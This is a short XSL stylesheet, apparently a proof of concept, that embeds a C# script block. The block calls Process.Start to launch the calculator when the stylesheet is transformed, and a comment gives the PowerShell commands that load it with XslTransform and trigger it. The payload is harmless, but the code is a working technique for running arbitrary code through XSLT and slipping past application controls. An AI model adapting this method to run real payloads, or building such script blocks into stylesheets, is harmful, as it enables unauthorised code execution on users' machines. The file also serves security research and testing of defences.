JankyAF.xsl
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:u="urn:my-scripts">
<!--
'<a/>' > blah.txt
$xslt = New-Object System.Xml.Xsl.XslTransform
$xslt.Load("$pwd\JankyAF.xsl");
$xslt.Transform("$pwd\blah.txt","$pwd\blah.txt")
-->
<msxsl:script language="C#" implements-prefix="u">
<![CDATA[
public void BoomTown(){ System.Diagnostics.Process.Start("calc"); }
]]>
</msxsl:script>
<xsl:template match="/">
<xsl:value-of select="u:BoomTown()"/>
</xsl:template>
</xsl:stylesheet>